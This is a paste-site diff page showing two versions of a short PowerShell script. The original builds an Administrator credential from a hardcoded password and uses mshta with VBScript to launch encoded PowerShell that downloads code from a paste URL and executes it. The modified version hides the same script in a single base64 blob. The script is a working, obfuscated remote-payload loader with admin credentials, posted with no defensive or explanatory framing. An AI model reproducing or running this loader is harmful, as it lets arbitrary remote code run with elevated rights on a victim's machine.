kpaste.net RSS
Difference between
modified post 0851cb8d by Anonymous on Mon 7th Oct 2024 21:14
original post 5dce2a981 by Anonymous on Mon 7th Oct 2024 21:13
Download diff
Show
old version |
new version |
both versions
| 1 | - | $passwd = ConvertTo-SecureString "INFLAB2020" -AsPlainText -Force | |
| 1 | + | JABwAGEAcwBzAHcAZAAgAD0AIABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAAIgBJAE4ARgBMAEEAQgAyADAAMgAwACIAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlAAoAJABjAHIAZQBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE0AYQBuAGEAZwBlAG0AZQBuAHQALgBBAHUAdABvAG0AYQB0AGkAbwBuAC4AUABTAEMAcgBlAGQAZQBuAHQAaQBhAGwAIAAnACQAKAAkAGUAbgB2ADoAQwBPAE0AUABVAFQARQBSAE4AQQBNAEUAKQBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAJwAsACAAJABwAGEAcwBzAHcAZAAKACMAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIAAkACgAKAB3AGcAZQB0ACAAaAB0AHQAcABzADoALwAvAHQAZQB4AHQALgBpAHMALwBMAFYAWQBKADQALwByAGEAdwApAC4AQwBvAG4AdABlAG4AdAApAAoAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAJwBtAHMAaAB0AGEALgBlAHgAZQAnACAALQBDAHIAZQBkAGUAbgB0AGkAYQBsACAAJABjAHIAZQBkACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwB2AGIAcwBjAHIAaQBwAHQAOgBDAGwAbwBzAGUAKABFAHgAZQBjAHUAdABlACgAIgBDAHIAZQBhAHQAZQBPAGIAagBlAGMAdAAoACIAIgBXAFMAYwByAGkAcAB0AC4AUwBoAGUAbABsACIAIgApAC4AUgB1AG4AIAAiACIAYwBtAGQALgBlAHgAZQAgAC8AawAgAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAYwBBAEIAdgBBAEgAYwBBAFoAUQBCAHkAQQBIAE0AQQBhAEEAQgBsAEEARwB3AEEAYgBBAEEAZwBBAEMAMABBAFIAUQBCAHUAQQBHAE0AQQBiAHcAQgBrAEEARwBVAEEAWgBBAEIARABBAEcAOABBAGIAUQBCAHQAQQBHAEUAQQBiAGcAQgBrAEEAQwBBAEEASgBBAEEAbwBBAEMAZwBBAGQAdwBCAG4AQQBHAFUAQQBkAEEAQQBnAEEARwBnAEEAZABBAEIAMABBAEgAQQBBAGMAdwBBADYAQQBDADgAQQBMAHcAQgByAEEASABBAEEAWQBRAEIAegBBAEgAUQBBAFoAUQBBAHUAQQBHADQAQQBaAFEAQgAwAEEAQwA4AEEATQBBAEEAMwBBAEcAVQBBAE0AdwBBAHkAQQBEAFUAQQBZAFEAQQAvAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFYAQQBIAE0AQQBaAFEAQgBDAEEARwBFAEEAYwB3AEIAcABBAEcATQBBAFUAQQBCAGgAQQBIAEkAQQBjAHcAQgBwAEEARwA0AEEAWgB3AEEAcABBAEMANABBAFEAdwBCAHYAQQBHADQAQQBkAEEAQgBsAEEARwA0AEEAZABBAEEAcABBAEEAPQA9ACIAIgAsACAAMAAsACAAVAByAHUAZQAiACkAKQAnACkAIAAtAFcAbwByAGsAaQBuAGcARABpAHIAZQBjAHQAbwByAHkAIAAnAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABTAHkAcwB0AGUAbQAzADIAJwA= | |
| 2 | - | $cred = New-Object System.Management.Automation.PSCredential '$($env:COMPUTERNAME)\Administrator', $passwd | |
| 2 | + | ||
| 3 | - | # powershell -EncodedCommand $((wget https://text.is/LVYJ4/raw).Content) | |
| 3 | + | ||
| 4 | - | Start-Process -FilePath 'mshta.exe' -Credential $cred -ArgumentList ('vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run ""cmd.exe /k powershell.exe -EncodedCommand cABvAHcAZQByAHMAaABlAGwAbAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAJAAoACgAdwBnAGUAdAAgAGgAdAB0AHAAcwA6AC8ALwBrAHAAYQBzAHQAZQAuAG4AZQB0AC8AMAA3AGUAMwAyADUAYQA/AHIAYQB3ACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApAC4AQwBvAG4AdABlAG4AdAApAA=="", 0, True"))') -WorkingDirectory 'C:\Windows\System32' | |
| 4 | + |
Submit a correction or amendment below (click here to make a fresh posting)
After submitting an amendment, you'll be able to view the differences between the old and new posts easily.